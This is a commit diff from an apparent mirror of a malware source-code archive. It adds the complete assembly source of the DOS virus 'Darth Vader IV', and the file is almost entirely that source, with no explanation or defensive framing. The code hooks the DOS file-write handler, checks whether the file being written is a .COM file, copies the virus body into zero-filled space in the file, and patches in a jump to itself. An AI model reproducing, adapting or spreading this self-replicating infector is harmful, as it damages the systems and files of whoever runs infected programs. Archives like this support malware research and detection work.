mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,144 @@
|
||||
;*******************************************************************************
|
||||
;* *
|
||||
;* D A R T H V A D E R IV *
|
||||
;* *
|
||||
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
|
||||
;* All Rights Reserved *
|
||||
;* *
|
||||
;* Enchanced by: Lazy Wizard *
|
||||
;* *
|
||||
;* Turbo Assembler 2.0 *
|
||||
;* *
|
||||
;*******************************************************************************
|
||||
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
org 100h
|
||||
|
||||
Start:
|
||||
call NextLine
|
||||
First3:
|
||||
int 20h
|
||||
int 3
|
||||
NextLine:
|
||||
pop bx
|
||||
push ax
|
||||
xor di,di
|
||||
mov es,di
|
||||
mov es,es:[2Bh*4+2]
|
||||
mov cx,1000h
|
||||
call SearchZero
|
||||
jc ReturnControl
|
||||
xchg ax,si
|
||||
inc si
|
||||
SearchTable:
|
||||
dec si
|
||||
db 26h
|
||||
lodsw
|
||||
cmp ax,8B2Eh
|
||||
jne SearchTable
|
||||
db 26h
|
||||
lodsb
|
||||
cmp al,75h
|
||||
je ReturnControl
|
||||
cmp al,9Fh
|
||||
jne SearchTable
|
||||
mov si,es:[si]
|
||||
mov cx,LastByte-Start
|
||||
lea ax,[di+Handle-Start]
|
||||
org $-1
|
||||
xchg ax,es:[si+80h]
|
||||
sub ax,di
|
||||
sub ax,cx
|
||||
mov [bx+OldWrite-Start-2],ax
|
||||
mov word ptr [bx+NewStart+1-Start-3],di
|
||||
lea si,[bx-3]
|
||||
rep movsb
|
||||
ReturnControl:
|
||||
pop ax
|
||||
push ss
|
||||
pop es
|
||||
mov di,100h
|
||||
lea si,[bx+First3-Start-3]
|
||||
push di
|
||||
movsw
|
||||
movsb
|
||||
ret
|
||||
SearchZero:
|
||||
xor ax,ax
|
||||
inc di
|
||||
push cx
|
||||
push di
|
||||
mov cx,[LastByte-Start-1]/2+1
|
||||
repe scasw
|
||||
pop di
|
||||
pop cx
|
||||
je FoundPlace
|
||||
loop SearchZero
|
||||
stc
|
||||
FoundPlace:
|
||||
ret
|
||||
Handle:
|
||||
push bp
|
||||
call NextHandle
|
||||
NextHandle:
|
||||
pop bp
|
||||
push es
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push si
|
||||
push di
|
||||
test ch,ch
|
||||
je Do
|
||||
mov ax,1220h
|
||||
int 2Fh
|
||||
mov bl,es:[di]
|
||||
mov ax,1216h
|
||||
int 2Fh
|
||||
cmp es:[di+29h],'MO'
|
||||
jne Do
|
||||
cmp word ptr es:[di+15h],0
|
||||
jne Do
|
||||
push ds
|
||||
pop es
|
||||
mov di,dx
|
||||
mov ax,[di]
|
||||
mov [bp+First3-NextHandle],ax
|
||||
mov al,[di+2]
|
||||
mov [bp+First3+2-NextHandle],al
|
||||
call SearchZero
|
||||
jc Do
|
||||
push di
|
||||
NewStart:
|
||||
mov si,0
|
||||
mov cx,[LastByte-Start-1]/2
|
||||
cli
|
||||
rep
|
||||
db 36h
|
||||
movsw
|
||||
sti
|
||||
mov di,dx
|
||||
mov al,0E9h
|
||||
stosb
|
||||
pop ax
|
||||
sub ax,di
|
||||
dec ax
|
||||
dec ax
|
||||
stosw
|
||||
Do:
|
||||
pop di
|
||||
pop si
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
pop bp
|
||||
OldWrite:
|
||||
jmp start
|
||||
|
||||
LastByte label byte
|
||||
|
||||
end Start
|
||||
Reference in New Issue
Block a user